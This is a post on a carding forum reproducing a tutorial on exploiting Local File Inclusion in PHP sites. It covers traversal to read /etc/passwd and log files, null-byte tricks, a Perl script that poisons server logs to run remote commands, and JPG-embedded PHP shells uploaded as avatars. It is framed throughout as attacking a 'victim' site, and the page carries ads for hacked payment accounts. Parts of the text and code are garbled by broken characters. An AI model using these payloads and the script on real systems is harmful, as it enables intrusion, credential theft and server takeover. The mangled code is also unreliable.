We are closing registration and public forum view to Paid & Private in 16 days! CLICK HERE to register FREE.
Create an account  

For users privacy, our last domains: CarderHack.com and OmertaHack.net are moved to CardingTeam.ws

Deposit & Withdraw | About Verified Sellers and Escrow | Advertise | Scam Report | Tracking Number Details | ICQ: 717039384

carding forums carding forums
carding forums carding forums
carding forums Paid adv expire in 48 days
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
LFI Web Hacking Tutorial

This tutorial will guide you into the process of exploiting a website through the LFI (Local File Inclusion). First lets take a look at a php code that is vulnerable to LFI: $page = $_GET[page]; include($page); ?> Now, this is a piece of code that should NEVER be used, because the $page isn? sanitized and [...]
This tutorial will guide you into the process of exploiting a website through the LFI (Local File Inclusion).
First lets take a look at a php code that is vulnerable to LFI:
$page = $_GET[page];
Now, this is a piece of code that should NEVER be used, because the $page isn? sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the ?ww?world.
Ok, now that we know why is it vulnerable let? start to use this in our advantage. First let? take a look how this give us the ability to ?rowse?through the web server. Let? imagine theres a file called test.php inside the test directory, if you type victim.com/test/test.php will retrieve that file correct? Ok, but if the php code that we examined was in the index.php we could also retrieve that file through victim.com/index.php?page=test/test.php , see what happened there? Now, if the index.php was in victim.com/test/index.php and the test.php in victim.com/test.php you will have to type victim.com/test/index.php?page=../test.php . The ../ is called directory
transversal using that will allow you to go up in the directories.
Now that we can go up and down through the server let? use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):
www.site.com/index.php?page=../../../../../../../etc/ passwd
If you don? know what to do with the content of etc/passwd then continue reading! The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:
username: passwd:UID:GID:full_name:directory:shell
For example:
username:kbeMVnZM0oL7I:503:100:FullName:/home/user name:/bin/sh
All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you?l see something like this:
As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many
processes, thats why you have access to it).
You can also sometimes see something like this:
The ! indicates that the encoded password is stored in the etc/security/passwd file.
Heres a couple of places that may be interesting to ?isit?
You will probably need to google for it as this is not the right tutorial to it.
Just one more quick thing, its also common to find a vulnerable code like:
$page = $_GET["page"];
In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:
www.site.com/index.php?file=../../../../../../../../ etc/passwd
it will retrieve:
www.site.com/index.php?file=../../../../../../../../ etc/passwd.php
that file don? exist, and you will see an error message, so you need to apply the null byte ():
www.site.com/index.php?file=../../../../../../../../ etc/passwd
With the null byte the server will ignore everything that comes after .
There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin!
We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the ?ot found files?and the php code . You will then type at your browser victim.com/ and the php code will be logged because it ?osen? exist?
This possibly won? work because if you go look into the log you will probably see the php code like this:
because your browser will url encode the whole thing! So you?l need to use something else, if you don? have a script of your own you can use this perl script i?e wrote:
!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$log = ?./../../../../../../etc/httpd/logs/error_log?
print ?rying to inject the code?
$socket = IO::Socket::INET->new(Proto=>?cp? PeerAddr=>?site? PeerPort=>?0″) or die ?
Connection Failed.
print $socket ?ET ?$path.$code.?HTTP/1.1
print $socket ?ser-Agent: ?$code.?
print $socket host: ?$site.?
print $socket ?onnection: close
print ?
Code $code sucssefully injected in $log
print ?
Type command to run or exit to end: ?
$cmd = ;
while($cmd !~ ?xit? {
$socket = IO::Socket::INET->new(Proto=>?cp? PeerAddr=>?site? PeerPort=>?0″) or die ?
Connection Failed.
print $socket ?ET ?$path.?ndex.php=?$log.?cmd=$cmd HTTP/1.1
print $socket host: ?$site.?
print $socket ?ccept: */*
print $socket ?onnection: close
while ($show = <$socket>)
print $show;
print ?ype command to run or exit to end: ?
$cmd = ;
Copy/paste that, save it as whatever.pl and change what is in bold accordingly to your victim site. If the vulnerable code is in victim.com/main/test.php you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!
That script will inject the code and then will ask you for a command to run on the server! You know what to do now!
Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.
You possibly have seen this in the ?ocal JPG Shell injection video?at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N? need to be installed on your victim website!
This is a quick explanation, for a better understanding you can view the video at
You need to ?nsert?the php code you want to execute inside the image, to do this you?l need to use your favorite hex editor or you can use the edjpgcom program (all you need to do is right click on the image, open with? then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your victim.com has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!
Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!
After you found one and have uploaded your image here is tricky part, you?l need to ?reate?an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sitefolder/public_html/includes/view.php on line 37
If you can? force an error go back to the etc/passwd file:
As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you?l have to try them until you find the one you?e looking for!
Go to your avatar image right click on it and then properties (write down the path to it), you?l now all set up.
In your browser type this (again, the nr of ../ may vary):
In order ?ords?should look like this (using fictitious ?ames?:
http://www.site.com/index.php=../../../...../../../ho me/arcfull/public_html/forum/uploads/avatar.jpg
After you type this you will see the result of the code inserted in the image!

Source: learn-ethical-hacking
Paid adv. expire in 47 days
CLICK to buy Advertisement !

    Verified & Trusted HACKED Payza, PayPal, Ukash, Ucard, EgoPay, Skrill - TRANSFER [Escrow accepted]

Forum Jump: